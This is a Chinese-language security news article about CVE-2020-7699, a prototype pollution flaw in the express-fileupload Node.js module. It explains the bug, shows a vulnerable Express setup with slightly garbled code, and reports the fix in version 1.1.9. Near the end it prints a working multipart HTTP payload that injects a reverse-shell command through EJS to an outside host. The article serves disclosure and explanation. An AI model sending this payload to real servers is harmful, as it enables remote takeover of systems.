下载超过 730 万次的 Node.js 模块存在 DoS 攻击和代码注入漏洞

Andrew 2020-08-06
专栏 - 事件 发布于 2020-08-06 10:53:22 阅读 148 评论 0

专家在流行的NodeJS模块中发现了一个漏洞,该漏洞可以使攻击者对服务器执行拒绝服务(DoS)攻击或注入任意代码。

该漏洞 CVE 编号为CVE-2020-7699,位于 express-fileupload npm 组件中。NodeJS模块受“Prototype Pollution(原型污染)” CVE-2020-7699漏洞的影响,该漏洞可能允许攻击者在服务器上执行拒绝服务(DoS)攻击或注入任意代码。

NodeJS模块“express-fileupload” 从npm存储库下载的内容超过730万次。

读取NIST的内容:“这会影响1.1.8之前的包express-fileupload。如果启用了parseNested选项,则发送损坏的HTTP请求可能导致拒绝服务或任意代码执行。”

不幸的是,实际安装数量可能会更多,因为开发人员可以从其他存储库(包括GitHub和镜像网站)下载模块。

原型用于定义JavaScript对象的缺省结构和默认值,当未设置任何值时,它们对于指定期望的结构至关重要。能够修改JavaScript对象原型的攻击者如果没有收到预期值,可能会使应用程序崩溃并更改行为。

由于JavaScript的传播,利用原型污染缺陷可能会对Web应用程序造成严重后果。

原型攻击包括将不兼容类型的对象注入现有对象中,以触发可能导致拒绝服务(DoS)条件或任意代码执行(包括建立远程外壳)的错误。

据发现该漏洞的安全研究员Posix称,该问题利用了express-fileupload实现的“ parseNested”功能。

express-fileupload模块实现了几个用于在nodejs应用程序中上传和管理文件的选项。选项之一是parseNested,它使参数扁平化为嵌套对象。

阅读 Posix发布的帖子可知:

因此,如果我们提供{"a.b.c": true}作为输入,在内部它将被用作{"a": {"b": {"c": true}}}

下面是“parseNested”选项的代码:

const express = require('express'; 
const fileUpload = require('express-fileupload'; 
const app = express(); 

app.use(fileUpload({parseNested:true})); 

app.get'/',(req,res)=> { 
    res.end('express-fileupload poc'; 
}; 

app.listen(7777

在“ Content-Disposition” HTTP标头中提供有效负载后,攻击者可以提供“ __proto __.toString”值来触发攻击。

“因此,使用上述表单中的

express-fileupload

配置和运行express服务器。帖子继续写道。

RlpBedAnvW.png!large

“ __proto __ ” 赋值函数可用于修改所有JS对象和结构所继承的JavaScript的“Prototype”属性。

这意味着上述HTTP请求将覆盖并破坏用户代码中存在的每个对象的内置“toString”方法 。

“如果Object.prototype.toString可以被污染,则将导致错误,并且对于每个请求,express [sic]始终返回500错误,”研究人员继续说道。

研究人员还解释说,攻击者可以利用相同的漏洞在易受攻击的系统上获得一个shell。对于这种攻击形式,有必要使应用程序使用的易受攻击的“express-fileupload”版本也使用模板引擎EJS(嵌入式JavaScript模板)。

“在Express应用程序中通过原型解决方案获取shell的最简单方法是使用ejs。是的,应用程序是否应使用ejs模板引擎存在局限性。”专家继续说。

攻击者可以通过发送覆盖EJS的“ outputFunctionName”选项的HTTP请求来触发问题。

下面的有效负载利用了express-fileupload中的原型污染,并指示EJS(应在使用中)执行NodeJS “ child_process”。此过程可用于获取攻击者计算机的反向shell。

POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=--------1566035451
Content-Length: 221

----------1566035451
Content-Disposition: form-data; name="__proto__.outputFunctionName";

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"');x
----------1566035451--

好消息是,在收到研究人员的报告后,“express-fileupload”立即修复了该漏洞。建议用户从npm存储库中获取最新的1.1.9版本。

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!